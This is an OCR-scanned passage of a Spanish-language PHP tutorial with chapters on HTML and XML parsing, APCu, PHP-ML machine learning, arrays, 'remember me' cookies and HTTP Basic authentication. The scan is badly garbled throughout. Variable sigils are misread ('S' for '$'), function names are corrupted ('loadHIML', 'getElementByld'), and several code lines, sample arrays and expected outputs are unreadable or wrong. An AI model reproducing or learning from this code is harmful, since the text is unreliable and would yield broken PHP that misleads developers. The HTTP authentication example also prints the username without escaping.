PHP implementa un analizador compatible con DOM Nivel 2 , lo que le permite trabajar con HTML 


utilizando métodos conocidos COMO getElementById () O appendchila() . 


Shtml = '<html><body><span id="text">Hello, World!</span></body></html>'; 


Sdoc = new DOMDocument (); 
libxml_use_internal_errors (true); 
$doc->loadHIML ($html); 


echo $doc->getElementByld("text")->textContent; 


Salidas: 


Hello, World! 


Tenga en cuenta que PHP emitirá advertencias sobre cualquier problema con el HTML, 
especialmente si está importando un fragmento de documento. Para evitar estas advertencias, 
indique a la biblioteca DOM (libxml) que maneje sus propios errores llamando a 
libxml_use_internal_errors() antes de importar su HTML. Luego puede usar libxml1_get_errors() 
para manejar los errores si es necesario. 


Utilizando XPath 


Shtml = '<html><body><span class="text">Hello, World!</span></body></html>'; 


$doc = new DOMDocument (); 
$doc->loadHIML ($html); 


Sxpath = new DOMXPath ($doc); 
Sspan = $xpath->query("//span[fclass='text']")->item(0); 


echo $span->textContent; 


Salidas: 


Hello, World! 


SimpleXML 


Presentación 
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* SimpleXML es una biblioteca de PHP que proporciona una manera fácil de trabajar con 
documentos XML (especialmente leer e ¡iterar a través de datos XML). 


* La única restricción es que el documento XML debe estar bien formado. 


Análisis de XML utilizando un enfoque de 
procedimiento 


// Load an XML string 
Smlistromleck etc on tentes (Mii aya is 


Slibrary = simplexml_load_string($xmlstr); 


// Load an XML file 
Slibrary = simplexml_load_file('library.xml'); 


Il STA Sel llogiel a loecll lle ¡ostia os e welliel Url, (Gi eliloy prel_ osa ls sel Lo "Ola dn ¡ao bal 


Analizar XML utilizando el enfoque OOP 


// SisPathToFile: it informs the constructor that the 1st argument represents the path to a 
ls, 
// rather than a string that contains lthe XML data itself. 


// Load an XML string 
$xmlstr = file_get_contents('library.xml'); 


$Slibrary = new SimpleXMLElement ($xmlstr); 


// Load an XML file 
Slibrary = new SimpleXMLElement ('library.xml', NULL, true); 


// SisPathToFile: it informs the constructor that the first argument represents the path to a 
file, rather than a string that contains lthe XML data itself. 


Accediendo a los niños y atributos 


+ Cuando SimpleXML analiza un documento XML, convierte todos sus elementos XML o 
nodos en propiedades del objeto SimpleXMLElement resultante. 

+ Además, convierte los atributos XML en una matriz asociativa a la que se puede acceder 
desde la propiedad a la que pertenecen. 


Cuando conoces sus nombres: 


Slibrary = new SimpleXMLElement ('library.xml', NULL, true); 
foreach ($library->book as $book) ( 

echo Sbook['isbn']; 

echo $book->title; 


https://riptutorial.com/es/nome 26 


echo $book->author; 
echo $book->publisher; 


+ El principal inconveniente de este enfoque es que es necesario conocer los nombres de 
cada elemento y atributo en el documento XML. 


Cuando no sabes sus nombres (o no quieres saberlos): 


foreach ($library->children() as $chilad)( 
echo $child->getName (); 
// Get attributes of this element 
foreach ($child->attributes() as $fattr)Í 


celo "Y. Sarroca) +. Us Y. Sai) 
) 
// Get children 


foreach ($child->children() as $subchilada) ( 
echo ' ' . $subchild->getName() . ': ' . Ssubchild; 


Lea Análisis de HTML en línea: https://riptutorial.com/es/php/topic/1032/analisis-de-html 
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Capítulo 6: APCu 


Introducción 
APCu es un almacén de valor-clave de memoria compartida para PHP. La memoria se comparte 


entre los procesos PHP-FPM de la misma agrupación. Los datos almacenados persisten entre las 
solicitudes. 


Examples 


Almacenamiento y recuperación simples 


apcu_store puede utilizarse para almacenar, apcu_fercr para recuperar valores: 


Skey = 'Hello'; 

Svelue = “ole 

apcu_store ($key, $value); 

print (apcu_fetch('Hello')); // 'World' 


Almacenar información 


apeu_cache info proporciona información sobre la tienda y sus entradas: 


¡pcia e (joe cacas limito (0) A 


Tenga en cuenta que invocar apcu_cache_info() Sin límite devolverá los datos 

completos almacenados actualmente. 

Para obtener solo los metadatos, US€ apcu_cache_info (true) . 

Para obtener información sobre ciertas entradas de caché, utilice mejor arcurterator . 
Iterando sobre las entradas 


El arcurterator permite iterar sobre las entradas en el caché: 


foreach (new APCUlterator() as Sentry) ( 
PEN (SS) 


El iterador se puede inicializar con una expresión regular opcional para seleccionar solo entradas 
con claves coincidentes: 


foreach (new APCUlterator ($regex) as S$entry) ( 
print or (Sentry); 


La información sobre una sola entrada de caché se puede obtener a través de: 
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Skey = '.'; 
Sregex = '(*' . preg_quote ($key) . '$)'; 
print_r( (new APCUIterator ($regex)) ->current ()); 


Lea APCU en línea: https://riptutorial.com/es/php/topic/9894/apcu 
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Capítulo 7: Aprendizaje automático 


Observaciones 


El tema utiliza PHP-ML para todos los algoritmos de aprendizaje automático. La instalación de la 
biblioteca se puede hacer usando 


composer require php-ai/php-ml 


El repositorio github para el mismo se puede encontrar aquí . 


También vale la pena señalar que los ejemplos que se dan son conjuntos de datos muy pequeños 
solo para fines de demostración. El conjunto de datos real debería ser más completo que eso. 


Examples 


Clasificación utilizando PHP-ML 


La clasificación en aprendizaje automático es el problema que identifica a qué conjunto de 
categorías pertenece una nueva observación. La clasificación cae dentro de la categoría de 


Supervised Machine Learning. 
Cualquier algoritmo que implementa clasificación se conoce como clasificador 
Los clasificadores soportados en PHP-ML son 


+ SVC (Clasificación de vectores de soporte) 
* k-vecinos más cercanos 
* Ingenuo bayes 


El método de train y predict es el mismo para todos los clasificadores. La única diferencia sería 
en el algoritmo subyacente utilizado. 


SVC (Clasificación de vectores de soporte) 


Antes de comenzar con la predicción de una nueva observación, debemos entrenar a nuestro 
clasificador. Considere el siguiente código 


// Import library 
use PhpmllClassificationASVC; 
use PhpmllSupportVectorMachineWKernel; 


VI Mates. Bos iescculimibjals Sila silicadci 


sscuwles = [M, 31, Mo 4: (2, Ao (S Mo (2. 1, (2, 2118 // Teoimlino semales 
Slalcls => Pa, “al, “ely Mat, “al, Yara 
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// Initialize the classifier 
Sclassifier = new SVC(Kernel:: LINEAR, $cost = 1000); 
// Train the classifier 


Sclassifier->train($samples, $labels); 


El código es bastante sencillo. $cost utilizado anteriormente es una medida de cuánto queremos 
evitar errores de clasificación de cada ejemplo de capacitación. Por un valor menor de scost 
puede obtener ejemplos mal clasificados. Por defecto se establece en 1.0 


Ahora que hemos capacitado al clasificador, podemos comenzar a hacer algunas predicciones 
reales. Considera los siguientes códigos que tenemos para las predicciones. 


Sclassilrlici>>Somsoblce (1, 21)? Y4/ seems ol 
Sclassliralce= >si (118, Ely o BI // ecursa [1o", “ell 


El clasificador en el caso anterior puede tomar muestras sin clasificar y predice sus etiquetas. 
predict Método de predict puede tomar una sola muestra, así como una serie de muestras. 


k-vecinos más cercanos 


El clasificador de este algoritmo toma dos parámetros y puede inicializarse como 


Sclassifier = new KNearestNeighbors ($neighbor_num=4); 


Sclassifier = new KNearestNeighbors ($neighbor_num=3, new Minkowski ($lambda=4)); 


Sneighbor_num es el número de vecinos más cercanos para escanear en el algoritmo knn , mientras 
que el segundo parámetro es la métrica de distancia, que por defecto en el primer caso sería 
Euclidean . Más sobre Minkowski se puede encontrar aquí . 


A continuación se muestra un breve ejemplo de cómo usar este clasificador. 


// Training data 
$samples = [[1, 31, [1, 41, [2, 41, [3, du [4, de [4, 211; 
Slalele = ["a", “a, Tal, “a”, Ut, "sil 


// Initialize classifier 


Sclassifier = new KNearestNeighbors (); 
// Train classifier 
Sclassifier->train($samples, $labels); 


// Make predictions 
Sclassilralci>>Somsoblicie (E, 21) 4/ seeuiaa ol 
Selassificr=preediar (118. 21, Mo 5119 // zetuza [Ma?, “ar 


Clasificador NaiveBayes 


NaiveBayes Classifier Se basa en Bayes' theorem y no necesita ningún parámetro en el constructor. 
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El siguiente código demuestra una implementación de predicción simple 


// Training data 
$samples = ¡ESA dl 11, [[3L, Sr 11 [dl AL 511 
Slcicls = a, Ma, “ev Ip 


¿ nircicllizs clessltierz 


Sclassifier = new NaiveBayes(); 
¿l Ercin elas 
Sclassifier->train($samples, $labels); 


// Make predictions 
Sclassilrlici=omscce (13, y Ll) 4 mecuisa Lal 
Selassitics=>arselicas (LS, L, Al, 1, 4, 11) // Secuza [Par, “9% 


Caso practico 


Hasta ahora solo usamos matrices de enteros en todos nuestros casos, pero ese no es el caso en 
la vida real. Por lo tanto, permítame tratar de describir una situación práctica sobre cómo usar los 
clasificadores. 


Supongamos que tiene una aplicación que almacena las características de las flores 
en la naturaleza. En aras de la simplicidad, podemos considerar el color y la longitud 
de los pétalos. Entonces, dos características serían usadas para entrenar nuestros 
datos. color es el más simple donde puede asignar un valor int a cada uno de ellos y 
para la longitud, puede tener un rango como (0 mm,10 mm)=1 , (10 mm,20 mm)=2 . Con los 
datos iniciales entrena a tu clasificador. Ahora, uno de sus usuarios necesita identificar 
el tipo de flor que crece en su patio trasero. Lo que hace es seleccionar el color de la 
flor y agrega la longitud de los pétalos. El clasificador en ejecución puede detectar el 
tipo de flor ("Etiquetas en el ejemplo anterior") 


Regresión 


En la clasificación utilizando »re-mL asignamos etiquetas a una nueva observación. La regresión 
es casi la misma con la diferencia de que el valor de salida no es una etiqueta de clase sino un 
valor continuo. Es ampliamente utilizado para predicciones y previsiones. PHP-ML soporta los 
siguientes algoritmos de regresión 


+ Regresión de vectores de apoyo 
* Regresión lineal de LeastSquares 


La regresión tiene el mismo train y métodos de preaict que los utilizados en la clasificación. 


Regresión de vectores de apoyo 


Esta es la versión de regresión para SVM (Máquina de vectores de soporte). El primer paso como 
en la clasificación es entrenar a nuestro modelo. 
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// Import library 
use PhpmlXRegression1SVR; 


use PhpmllSupportVectorMachineWKernel; 


// Training data 
[611, 
S00p Se 


$samples = [[60], 
[Soi 


Stargets 


V/ mica 


regression engin 


$regression = new SVR(Kernel::LIN 


// Train regression engin 


Sregression->train($samples, 


EAR); 


Stargets); 


En la regresión, stargers no son etiquetas de clase en lugar de clasificación. Este es uno de los 
factores diferenciadores para los dos. Después de entrenar nuestro modelo con los datos, 
podemos comenzar con las predicciones reales. 


Sregression->predict ([64]) 


// return 4.03 


Tenga en cuenta que las predicciones devuelven un valor fuera del objetivo. 


Regresión lineal 


de LeastSquares 


Este algoritmo utiliza el least squares method para aproximar la solución. Lo siguiente demuestra 
un simple código de entrenamiento y predicción. 


// Training data 
[[60], 
[Sd 


[61], 
3107 De 


$samples 


Stargets 


¿Ef mica 
Sregression = new LeastSquares (); 


regression engin 


// Train engine 
Sregression->train($samples, 
// Predict using trained engine 


Sregression->predict ([64]); 


PHP-ML también ofrece la opción de multip1 


mismo puede ser el siguiente 


Stargets); 


// return 4.06 


Linear Regression . Un código de ejemplo para el 


Sscmoles = Ll135071, 19951, (1147006, 1994511, Ms, 20001), Masas, 1995), LS, 2001], 
[ES9tO, 20001, [9IS00, 20001, 19375, 19981, 11595200, 19541, 117762, 20021, 157000, LID, 
LSO, 000117 

Srtelsas = (2000, 2790, 1300, 050, 2400, SE, LO, 2300, 1025, DINO, AO, AL 
Sregression = new LeastSquares (); 

Sregression->train($samples, $targets); 

Sregression->predict([60000, 1996]) // return 4094.82 


Multipl 
resultado. 
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Caso practico 


Ahora tomemos una aplicación de regresión en el escenario de la vida real. 


Supongamos que ejecuta un sitio web muy popular, pero el tráfico sigue cambiando. 
Desea una solución que pueda predecir la cantidad de servidores que necesita 
implementar en cualquier momento del tiempo. Supongamos por el hecho de que su 
proveedor de alojamiento le ofrece una API para generar servidores y cada servidor 
tarda 15 minutos en arrancar. En función de los datos anteriores de tráfico y regresión, 
puede predecir el tráfico que afectaría a su aplicación en cualquier momento. Gracias 
a ese conocimiento, puede iniciar un servidor 15 minutos antes de la oleada, lo que 
evita que su aplicación se desconecte. 


Agrupación 


La agrupación se trata de agrupar objetos similares juntos. Es ampliamente utilizado para el 
reconocimiento de patrones. clustering Se realiza bajO unsupervised machine learning , por lo tanto, 
no se necesita capacitación. PHP-ML tiene soporte para los siguientes algoritmos de clustering 


* k-medios 
* dbscan 


k-medios 


k-Means separa los datos en » grupos de igual varianza. Esto significa que debemos pasar un 
número » que sería el número de clústeres que necesitamos en nuestra solución. El siguiente 
código ayudará a traer más claridad 


// Our data set 
$samples = [[1, 11, [8, 11, [1, 21, 17, 8l, [2, 11, [8, 911; 


// Initialize clustering with parameter 'n' 
Skmeans = new KMeans (3); 
Skmeans->cluster ($samples); // return [0=>[[7, 81], 1=>[[8, 711, 2=>[[1,1]1]] 


Tenga en cuenta que la salida contiene 3 matrices porque ese era el valor de » en el constructor 
kMeans . También puede haber un segundo parámetro opcional en el constructor, que sería el 
initialization method . Por ejemplo considera 


Skmeans = new KMeans (4, KMeans:: INIT_RANDOM); 


INIT_RANDOM COloca un centroide completamente aleatorio al intentar determinar los clústeres. Pero 
solo para evitar que el centroide esté demasiado lejos de los datos, está limitado por los límites de 
espacio de los datos. 


El initialization method predeterminado de initialization method Constructor es kmeans ++, que 
selecciona el centroide de una manera inteligente para acelerar el proceso. 
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DBSCAN 


A diferencia de kmeans , pescan es un algoritmo de agrupamiento basado en densidad, lo que 
significa que no pasaremos » lo que determinaría la cantidad de clústeres que queremos en 
nuestro resultado. Por otro lado esto requiere dos parámetros para funcionar. 


1. $ minSamples: el número mínimo de objetos que deben estar presentes en un clúster 
2. $ epsilon: Cuál es la distancia máxima entre dos muestras para que se consideren en el 
mismo grupo. 


Una muestra rápida para el mismo es la siguiente 


// Our sample data set 
$samples E [[1, 11, [8, 1, [1, 21, [7, 8l, [2, dl, [8, Sine, 


Sdbscan = new DBSCAN(Sepsilon = 2, $minSamples = 3); 
Sdbscan->cluster ($samples); // return [0=>[[1, 111, 1=>[[8, 711] 


El código es bastante autoexplicativo. Una diferencia importante es que no hay forma de saber la 


cantidad de elementos en la matriz de salida en lugar de KMeans. 


Caso practico 


Ahora echemos un vistazo al uso de agrupamiento en situaciones reales. 


La agrupación en clústeres se utiliza ampliamente en el pattern recognition Y data 
mining . Considera que tienes una aplicación de publicación de contenido. Ahora, para 
retener a sus usuarios, deben mirar el contenido que les encanta. Asumamos por 
simplicidad que si están en una página web específica durante más de un minuto y se 
van al fondo, les encanta ese contenido. Ahora, cada uno de sus contenidos tendrá un 
identificador único con él y el usuario también. Haga un cluster basado en eso y usted 
sabrá qué segmento de usuarios tiene un gusto similar al contenido. A su vez, esto 
podría usarse en el sistema de recomendaciones, donde puede asumir que si a 
algunos usuarios del mismo grupo les encanta el artículo, a otros les gustará, y eso 
puede mostrarse como recomendaciones en su aplicación. 


Lea Aprendizaje automático en línea: https://riptutorial.com/es/php/topic/5453/aprendizaje- 
automatico 
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Capítulo 8: Arrays 


Introducción 


Una matriz es una estructura de datos que almacena un número arbitrario de valores en un solo 
valor. Una matriz en PHP es en realidad un mapa ordenado, donde mapa es un tipo que asocia 
valores a claves. 


Sintaxis 


* $array = 
* $array = 
* $array = 
* $array = 


array ('Value1', 'Value2", 'Value3”); // Las teclas predeterminadas son 0, 1, 2, ..., 
array ('Value1', 'Value2",); // coma final opcional 

array ('key1' => 'Value1', 'key2' => 'Value2",); // Claves explícitas 

array (key1' => 'Value1', 'Value2",); // Array (['key1"'] => Value1 [1] => 'Value2”) 


* $array = ['key1' => 'Value1', 'key2' => 'Value2",]; // PHP 5.4+ taquigrafía 

* $array [] = 'ValueX'; // Añadir 'ValueX' al final de la matriz 

* $array [keyX'"] = 'ValueX'; // Asignar 'valueX' a la tecla 'keyX' 

* $array + = ['keyX' => 'valueX', 'keyY' => 'valueY"]; // Agregar / sobrescribir elementos en una 
matriz existente 


Parámetros 


La clave es el identificador único y el índice de una matriz. Puede ser una 


Llave string O UN integer . Por lo tanto, las claves válidas serían :£oo', '5*, 10, 
A e 
Vals Para cada key hay un valor correspondiente (de lo contrario, nu11 y se emite un 
aviso al acceder). El valor no tiene restricciones en el tipo de entrada. 
Observaciones 


Ver también 


+ Manipulando una sola matriz 

+ Ejecutando sobre una matriz 

+ Iteración de matriz 

* Procesando múltiples matrices juntos 


Examples 
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Inicializando una matriz 
Una matriz se puede inicializar vacía: 


// An empty array 
$Sfoo = array (); 


// Shorthand notation available since PHP 5.4 
$foo = [l; 


Una matriz se puede inicializar y preestablecer con valores: 


// Creates a simple array with three strings 
Sfruit = array('apples', 'pears', 'oranges'); 


// Shorthand notation available since PHP 5.4 
cunebole = [Magoles"”, “pesrzs!, "oras" 


Una matriz también se puede inicializar con índices personalizados (también llamada matriz 
asociativa) : 


// A simple associative array 
Sfruit = array( 
miz => "epples', 
'second' => 'pears', 
'third' => 'oranges' 


5 


// Key and value can also be set as follows 
Sirrpote [Meis] = “aguiles'— 


// Shorthand notation available since PHP 5.4 
Ssplbe = | 

ries! => Uagsles' , 

'second' => 'pears', 

'third' => 'oranges' 


Si la variable no se ha utilizado antes, PHP la creará automáticamente. Si bien es conveniente, 
esto podría hacer que el código sea más difícil de leer: 


Sioco[i] = is // Array( [0] => 1 ) 
sigas 1 11 => 27 el Bree 10] => Array ( [01 => 2 ) ) 


El índice usualmente continuará donde lo dejaste. PHP intentará usar cadenas numéricas como 
enteros: 
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Sfoo = [2 => 'apple', 'melon']; // Array( [2] => apple, [3] => melon ) 
$foo = ['2' => 'apple', 'melon']; // same as above 
Sfoo = [2 => 'apple', 'this is index 3 temporarily', '3' => 'melon']; // same as above! The 


last entry will overwrite the second! 


Para inicializar una matriz con un tamaño fijo, puede usar spirixedarray ! 


Sarray = new SplFixedArray (3); 


Sarrayl[0 
Sarray [1 


] 
] 
Sarray[2] 
] 


Sarray [3 ¿ // RuntimeException 


// Increase the size of the array to 10 


Sarray->setSize(10); 


Nota: una matriz creada con sp1Fixedarray tiene una huella de memoria reducida para grandes 
conjuntos de datos, pero las claves deben ser enteros. 


Para inicializar una matriz con un tamaño dinámico pero con n elementos no vacíos (por ejemplo, 
un marcador de posición), puede usar un bucle de la siguiente manera: 


SmyArray = array (); 
SsizeO0fMyArray = 5; 
$fi11 = 'placeholder'; 


for (Si = 0; SL < Ssiize0fMyArray; 2SL++) l 
SmyArray[] = $£111; 
) 


// print_r($myArray); results in the following: 
// Array ( [0] => placeholder [1] => placeholder [2] => placeholder [3] => placeholder [4] => 
placeholder ) 


Si todos sus marcadores de posición son iguales, también puede crearlo utilizando la función 
areay FAL 


array array_fill (int $ start_index, int $ num, mixed $ value) 
Esto crea y devuelve una matriz CON num entradas de value , llaves a partir de start_index . 


Nota: Si el start_index es negativo, comenzará con el índice negativo y continuará desde O para 
los siguientes elementos. 


Sa = array_fill(5, 6, 'banana'); // Array ( [5] => banana, [6] => banana, ..., [10] => banana) 
Sb = array_fill(-2, 4, 'pear'); // Array ( [-2] => pear, [0] => pear, ..., [2] => pear) 
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Conclusión: con array 1:11) estás más limitado por lo que realmente puedes hacer. El bucle es 
más flexible y le abre una gama más amplia de oportunidades. 


Cuando quiera que una matriz se llene con un rango de números (por ejemplo, 1-4), puede 
agregar cada elemento a una matriz o usar la función range () : 


rango de matriz (mezcla $ inicio, mezcla $ final [, número $ paso = 1])) 


Esta función crea una matriz que contiene un rango de elementos. Los primeros dos parámetros 
son necesarios, donde establecen los puntos de inicio y final del rango (inclusive). El tercer 
parámetro es opcional y define el tamaño de los pasos que se están tomando. Al crear un range 
de o a 4 con un stepsize O stepsize de 1 , la matriz resultante consistirá de los siguientes 
elementos: 0,1,2,3Yy 4. Si el tamaño del paso se incrementa a 2 (es decir, range (0, 4, 2) ), la 
matriz resultante sería: 0,2 y 4. 


$array = [l; 
Sarray_with_range = range(1, 4); 


sor (Sal = llo Sil <= de Sis) 


Sarray[] = $1i; 
) 
asin m(Sazreand) y Brres ( [0] == 1 111 => 2 [21 => 9 (81 => 4 ) 
print_r($array_with_range); // Array ( [0] => 1 [1] => 2 [2] => 151 => 4 ) 


range puede trabajar con enteros, flotadores, valores booleanos (que se convierten en enteros) y 
cadenas. Sin embargo, se debe tener precaución al usar flotantes como argumentos debido al 
problema de precisión de punto flotante. 


Comprobar si existe la clave 


Utilice array_key_exists() O isset() O !lempty() isset () !empty () ! 


$map = [ 

too" => il, 

Mew" => ¡auiliL, 

ou snzY => VU, 
1; 
array_key_exists('foo', $map); // true 
isset ($map['foo']); // true 
lempty ($map['foo']); // true 
array_key_exists('bar', $map); // true 
isset($map['bar']1); // false 
lempty ($map['bar']1); // false 


Tenga en cuenta que isset () trata un elemento de valor nu11 como no existente. Mientras que 
'empty () hace lo mismo para cualquier elemento que sea false (usando una comparación débil; 
por ejemplo, nu11 , :* y o se tratan como falso por empty () ). While isset ($map [ 'foobar']); OS true 
'empty ($map[ 'foobar']) €S false . Esto puede llevar a errores (por ejemplo, es fácil olvidar que la 
cadena :o' se trata como falsa), por lo que el uso de 'empty () menudo está mal visto. 
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Tenga en cuenta también que i¡sset () Y !empty () isset () funcionarán (y devolverán false) Si 5map 
no está definido en absoluto. Esto los hace un tanto propensos a usar errores: 


// Note "long" vs "lang", a tiny typo in the variable name. 


Smy_array_with_a_long_name = ['foo' => true]; 
array_key_exists('foo', S$my_array_with_a_lang_name); // shows a warning 
isset ($my_array_with_a_lang_name['foo']); // returns false 


También puede consultar matrices ordinales: 


Soza = [Mar, “Siles // equivalente to [0 => "a", 1 => "a"T 


array_key_exists(0, $ord); // true 
array_key_exists(2, S$ord); // false 


Tenga en cuenta que isset () tiene mejor rendimiento que array_key_exists() ya que esta última 
es una función y la primera es una construcción de lenguaje. 


También puedes usar key exists() , que es un alias para array_key_exists() . 
Comprobando si existe un valor en la matriz 
La función in array () devuelve true si existe un elemento en una matriz. 


Sfruits = ['banana', 'apple'l; 


Sioo => ia sue (Mocmenal,) Sitretiiles) A 
// $foo value is true 


Sbar = in_array('orange', $fruits); 


// $bar value is false 


También puede usar la función a:ray_searcr () para obtener la clave de un elemento específico en 
una matriz. 


Suserdb = ['Sandra Shush', 'Stefanie Mcmohn', 'Michael']; 
Spos = array_search('Stefanie Mcmohn', Suserdb); 
ie (Spos l== false) ( 


echo "Stefanie Mcmohn found at $pos"; 


PHP 5.x 5.5 


En PHP 5.5 Y array_column () posteriores, puede USaf array_column () junto CON array_search() . 


Esto es particularmente útil para verificar si existe un valor en una matriz asociativa : 


Suserdb = |[ 
[ 
Msi > VOY, 
"name" => 'Sandra Shush', 
WuiclLlW => UmealorL00Y, 
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Vuiicr => "BAGS", 
"name" => 'Stefanie Mcmohn', 


"pic_square" => 'urlof100', 


Munic => "agaeor., 
"name" => 'Michael', 
"pic_square" => 'urlof40489', 


1; 


Skey = array_search(40489, array_column ($userdb, 'uid')); 
Validando el tipo de matriz 


La función is array () devuelve true si una variable es una matriz. 


Sinteger = 1337; 
Selazay = (1337, 227 


is_array ($integer); // false 
is_array ($array); // true 


Puede escribir sugerir el tipo de matriz en una función para imponer un tipo de parámetro; Pasar 
cualquier otra cosa resultará en un error fatal. 


function foo (array Sarray) 1 /* S$array is an array */ ) 
También puede utilizar la función ser+ype () . 


Sinteger = 1337; 
Selazay = [1lSS7, 22 


gettype ($integer) === 'array'; // false 


gettype ($array) === 'array'; // true 


Interfaces ArrayAccess e lterador 


Otra característica útil es acceder a sus colecciones de objetos personalizados como matrices en 
PHP. Hay dos interfaces disponibles en PHP (> = 5.0.0) núcleo para apoyar esta: arrayaccess Y 
Iterator . El primero le permite acceder a sus objetos personalizados como matriz. 


ArrayAccess 


Supongamos que tenemos una clase de usuario y una tabla de base de datos que almacena a 
todos los usuarios. Nos gustaría crear una clase usercollection QUe: 


1. Permítanos dirigirnos a ciertos usuarios por su nombre de usuario identificador único 
2. realizar operaciones básicas (no todas las CRUD, pero al menos Crear, Recuperar y 
Eliminar) en nuestra colección de usuarios 
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Considere la siguiente fuente (en lo sucesivo, usaremos la sintaxis de creación de matriz corta ¡ 


disponible desde la versión 5.4): 


class UserCollection implements ArrayAccess ( 
protected $_conn; 


protected $_requiredParams = ['username','password','email']; 


polis Emerloa —consirzuee 0) 
Sconfig = new Configuration(); 


SconnectionParams = [ 
//your connection to the database 


1; 


Sthis->_conn = DriverManager::getConnection ($connectionParams, S$config); 


protected function _getByUsername ($username) ( 
Sret $this->_conn->executeQuery('SELECT * FROM 'User” WHERE "username IN (2?2)', 


[Susername] 
=>=tetchal 


return $ret; 
// START of methods required by ArrayAccess interface 


public function offsetExists($offset) ( 
return (bool) $this->_getByUsername (Soffset); 


public function offsetGet (S$offset) ( 
return $this->_getByUsername ($offset); 


t(foffset, S$value) ( 
if (!lis_array(S$value)) ( 
throw new MException('value must be an Array'); 


public function offsetSe 


Spassed = array_intersect (array_values ($this->_requiredParams), array_keys($value)); 
if (count ($passed) < count ($this->_requiredParams)) ( 


throw new MException('value must contain at least the following params: ' 


implode(',', $this->_requiredParams)); 
) 


$this->_conn->insert ('User', $value); 


public function offsetUnset (S$offset) ( 
1f (lis _string(S$offset)) ( 
throw new MException('value must be the username to delete'); 


) 
1f£ (!$this->offsetGet (Soffset)) (1 
throw new MException('user not found'); 


) 


$this->_conn->delete('User', ['username' => Soffset]); 


// END of methods required by ArrayAccess interface 
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Entonces podemos : 


Susers = new UserCollection(); 
var_dump (empty ($Susers['testuser']),isset ($users['testuser'])); 
smesers [Mteseusez"] = usezmicans! => "restuserz"., 
'"password' => 'testpassword', 
"email' => 'testlftest.com']; 
var_dump (empty ($users['testuser']), isset ($users['testuser']), Susers['testuser']); 
unset ($users['testuser']); 
var_dump (empty ($users['testuser']), isset($users['testuser'])); 


que generará lo siguiente, asumiendo que no hubo Un testuser antes de lanzar el código: 


bool (true) 
bool (false) 
bool (false) 
bool (true) 
az) Al 
["username"]=> 
string(8) "testuser" 
["password"]=> 
string(12) "testpassword" 
["email"]=> 
string(13) "testftest.com" 
) 
bool (true) 
bool (false) 


IMPORTANTE: no se llama a offsetexists cuando verifica la existencia de una clave con la 
función array_key_exists . Entonces el siguiente código dará como resultado raise dos veces: 


var_dump (array_key_exists('testuser', S$users)); 
smssrzs eesemsez"] = uscar! => "Eeseuser", 
'"password' => 'testpassword', 
"email' => 'testlfitest.com']; 
var_dump (array_key_exists('testuser', S$users)); 
lterador 


Extendamos nuestra clase desde arriba con algunas funciones de la interfaz del 1terator para 
permitir la iteración sobre ella con foreach y while . 


Primero, debemos agregar una propiedad que contenga nuestro índice actual de iterador, vamos 
a agregarla a las propiedades de la clase como s_position : 


// iterator current position, required by Iterator interface methods 
protected $_position = 1; 


Segundo, agreguemos la interfaz Iterator a la lista de interfaces implementadas por nuestra 
clase: 


class UserCollection implements ArrayAccess, Iterator ( 
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A continuación, agregue lo requerido por las funciones de la interfaz en sí: 


// START of methods required by Iterator interface 
public function current () ( 
return $this->_getByld($this->_position); 


¡atole Enacilon ey (0) 
EScurnotehils=>1posiieilon 


public function next () ( 
$this->_position++; 


public function rewind () ( 
$this->_position = 1; 


pulle Eumerldom yediel (0) 4 
return null !== $this->_getByld($this->_position); 


// END of methods required by Iterator interface 


Entonces, en general, aquí está la fuente completa de la clase que implementa ambas interfaces. 
Tenga en cuenta que este ejemplo no es perfecta, ya que los identificadores en la base de datos 
pueden no ser secuencial, pero esto fue escrito sólo para darle la idea principal: se puede hacer 
frente a sus colecciones de objetos de cualquier manera posible mediante la implementación de 
ArrayAccess Y Iterator interfaces: 


class UserCollection implements ArrayAccess, Iterator ( 
// iterator current position, required by Iterator interface methods 
protected $_position = 1; 


// <add the old methods from the last code snippet here> 


// START of methods required by Iterator interface 
¡aus Emerclon cuezzaae (0) A 
return $this->_getByld($this->_position); 


public function key () ( 
return $this->_position; 


¡alos Eumecrloa met (0) 
Sthis->_position++; 


public function rewind () ( 
Sthis-=>_position = 1; 


¡mios Fumerioa valle (0) 
return null !== $this->_getByld($this->_position); 


// END of methods required by Iterator interface 
y un bucle foreach a través de todos los objetos de usuario: 


foreach ($fusers as Suser) ( 
var_dump ($user['id']); 
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lo que producirá algo así como 


nn 
non 
n3n 
"gn 


string 
string 


(2) 
(2) 
Sie] (2) 
(2) 


string 


Creando una matriz de variables 


Susername = 'Hadibut'; 

Semail = 'hadibutlexample.org'; 

Svariables = compact ('username', 'email'); 

// Svariables is now ['username' => 'Hadibut', 'email' => 'hadibutlexample.org'] 


Este método se usa a menudo en marcos para pasar una matriz de variables entre dos 
componentes. 


Lea Arrays en línea: https://riptutorial.com/es/php/topic/204/arrays 


https://riptutorial.com/es/nome 


Capítulo 9: Asegurate recuerdame 


Introducción 


He estado buscando en este tema durante algún tiempo hasta que encontré esta publicación 


https://stackoverflow.com/a/17266448/4535386 de ircmaxell, creo que merece más exposición. 


Examples 


"Mantenerme conectado" - el mejor enfoque 
Almacenar la cookie con tres partes. 


function onLogin ($user) ( 
Stoken = GenerateRandomToken (); // generate a token, should be 128 -— 256 bit 
storeTokenForUser ($user, $token); 


Sevolule = Suserz . Ye" ,. Stoke, 

$mac = hash_hmac('sha256', $cookie, SECRET_KEY); 
cool Sac 

setcookie ('rememberme', $cookie); 


Luego, para validar: 


function rememberMe () ( 
Scookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : ''; 
if ($cookie) 1 
list (f$user, $token, $mac) = explode(':', $cookie); 
1£ (hash equals (hashuhmaec("sha256", Suser . ':" . Stoken, SECRET KEY), S$mac)) ( 


return false; 
) 
Susertoken = fetchTokenByUserName ($user); 
1f (hash_equals(S$usertoken, $token)) ( 


logUserIn($user); 


Lea Asegurate recuerdame en línea: https://riptutorial.com/es/php/topic/10664/asegurate- 
recuerdame 
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Capítulo 10: Autenticación HTTP 


Introducción 


En este tema vamos a hacer un script de autenticación HTTP-Header. 


Examples 


Autenticación simple 


TENGA EN CUENTA: SOLO PONGA ESTE CÓDIGO EN EL TÍTULO DE LA PÁGINA, DE 
OTRA MANERA NO FUNCIONARÁ! 


<?php 

if (lisset(S_SERVER['PHP_AUTH_USER'])) ( 
header ('WWW-Authenticate: Basic realm="My Realm"'); 
header ('HTTP/1.0 401 Unauthorized'); 
echo "Text to send 1£ user hits Cancel button”; 


exit; 
) 
echo "<p>Hello ($_SERVER['PHP_AUTH_USER']).</p>"; 
Suser = $_SERVER['PHP_AUTH_USER']; //Lets save the information 
